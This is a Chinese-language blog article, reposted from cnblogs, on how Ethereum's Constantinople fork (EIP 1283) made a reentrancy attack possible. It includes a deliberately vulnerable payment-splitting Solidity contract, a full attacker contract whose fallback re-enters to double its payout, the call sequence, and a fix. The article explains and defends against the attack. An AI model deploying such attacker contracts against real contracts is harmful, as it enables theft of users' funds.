君士坦丁堡分叉引起的安全问题
目錄
- 君士坦丁堡分叉引起的安全問題
- 一. 什么是君士坦丁堡分叉
- 二. 一個重入合約
- 三. 一份嘗試攻擊的合約
- 四. 組合調(diào)用
- 分叉之前
- 分叉之后
- 調(diào)用順序
- 五. 如何解決
君士坦丁堡分叉引起的安全問題
一. 什么是君士坦丁堡分叉
君士坦丁堡是最近以太坊的大事,主要做了一下改進(jìn)
- EIP 145:由兩位以太坊開發(fā)人員Alex Beregszaszi 和 Pawel Bylica編寫的技術(shù)升級,EIP 145詳細(xì)描述了一種更有效的以太坊信息處理方案,其稱為逐位移動(bitwise shifting);
- EIP 1052:由以太坊core開發(fā)人員Nick Johnson和Bylica所撰寫,1052提供了一種優(yōu)化以太坊網(wǎng)絡(luò)大規(guī)模代碼執(zhí)行的方法。
- EIP 1283:由Johnson撰寫,其基于EIP 1087,這一提議主要了引入了一種針對數(shù)據(jù)存儲更改更公平的定價方法,這可以讓智能合約開發(fā)者受益。
- EIP 1014:由以太坊創(chuàng)始人Vitalik Buterin親自創(chuàng)建,此升級的目的是更好地促進(jìn)基于狀態(tài)通道和鏈外(off-chain)交易的擴容解決方案。
- EIP 1234:由以太坊主要客戶端 Parity發(fā)布經(jīng)理 Afri Schoedon所倡導(dǎo),這也是以太坊此次升級中最具爭議的部分,它會使以太坊網(wǎng)絡(luò)的區(qū)塊獎勵從3ETH減少到2ETH,此外還會延遲難度炸彈12個月的時間。
其中EIP 1283 最重要的改動就是對于修改合約內(nèi)容更加便宜了,原來修改非0內(nèi)容的地址需要5000gas,現(xiàn)在只需要200gas.
具體意思就是
這對于DAPP而言肯定是好事,降低了DAPP的成本.但是意外卻引入了安全風(fēng)險.
二. 一個重入合約
一份雙方協(xié)調(diào)分成的合約,簡化起見,里面很多安全問題沒檢查,比如updateSplit應(yīng)該只能參與雙方更新.
//PaymentSharer.sol pragma solidity ^0.5.0;contract PaymentSharer {mapping(uint => uint) splits;mapping(uint => uint) deposits;mapping(uint => address payable) first;mapping(uint => address payable) second;function init(uint id, address payable _first, address payable _second) public {require(first[id] == address(0) && second[id] == address(0));require(first[id] == address(0) && second[id] == address(0));first[id] = _first;second[id] = _second;}function deposit(uint id) public payable {deposits[id] += msg.value;}function updateSplit(uint id, uint split) public {require(split <= 100);splits[id] = split;}function splitFunds(uint id) public {// Here would be: // Signatures that both parties agree with this split// Splitaddress payable a = first[id];address payable b = second[id];uint depo = deposits[id];deposits[id] = 0;a.transfer(depo * splits[id] / 100); //transfer 給2100 gas執(zhí)行事務(wù)b.transfer(depo * (100 - splits[id]) / 100);} }雙方協(xié)商一致,調(diào)用updateSplit,定下各自應(yīng)得多少比例.然后就可以調(diào)用splitFunds,分別拿走各自的ether.
這在君士坦丁堡分叉之前,是非常安全的.
三. 一份嘗試攻擊的合約
pragma solidity ^0.5.0;import "./PaymentSharer.sol";contract Attacker {address private victim;address payable owner;constructor() public {owner = msg.sender;}function attack(address a) external {victim = a;PaymentSharer x = PaymentSharer(a);x.updateSplit(0, 100);x.splitFunds(0);}function () payable external {PaymentSharer x = PaymentSharer(victim);x.updateSplit(0,0); //修改split,這樣下b.transfer就不再是transfer 0,達(dá)到雙倍收益.}//從合約中拿走全部etherfunction drain() external {owner.transfer(address(this).balance);} }四. 組合調(diào)用
- PaymentSharer.init(0,Attacker,anotherAddressOfAttacker)
- PaymentSharer.deposit(0) value=1ether
- Attacker.attack(PaymentSharer)
最關(guān)鍵的是第三步的調(diào)用順序:
attack-->updateSplit-->attack--->splitFunds(a全得,b沒有)--->a.transfer--->Attacker's fallback--->updateSplit(a沒有,b全得)-->b.transfer
最終a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是后入,而不是預(yù)想的只有拿走全部.
分叉之前
合約中調(diào)用transfer函數(shù)的gas是固定的,只能是2300,無法改動. 而Attacker's fallback 函數(shù)中調(diào)用updateSplit, 其中 splits[id] = split;這一句話就會消耗5000gas,因此attack這個Tx會失敗.
分叉之后
splits[id] = split;只會消耗gas200,因此有足夠的gas來執(zhí)行updateSplit, 所以a.transfer會成功,然后b.transfer自然也會成功.
調(diào)用順序
五. 如何解決
針對這個問題解決起來非常簡單.下面就是一種修正方法.
function splitFunds(uint id) public {// Here would be: // Signatures that both parties agree with this split// Splitaddress payable a = first[id];address payable b = second[id];uint depo = deposits[id];deposits[id] = 0;uint s=splits[id];a.transfer(depo * s / 100); //transfer 給2100 gas執(zhí)行事務(wù)b.transfer(depo * (100 - s) / 100);}這樣就算是Attacker有了重入的機會,可以執(zhí)行代碼,也不會有任何額外收益. 應(yīng)該說合約的設(shè)計者已經(jīng)考慮到a.transfer的重入問題,先修改了deposits[id],而不是放在transfer之后,但是仍然百密一疏.
合約一旦發(fā)布就無法修改,但是EVM規(guī)則卻可以通過分叉修改,可以解決以后的問題,但是卻不能修復(fù)已經(jīng)發(fā)布的合約.
本來參考了一下文章
Constantinople enables new Reentrancy Attack
轉(zhuǎn)載于:https://www.cnblogs.com/baizx/p/10290049.html
總結(jié)
以上是生活随笔為你收集整理的君士坦丁堡分叉引起的安全问题的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Qt 圆角方案
- 下一篇: tf.unstack\tf.unstac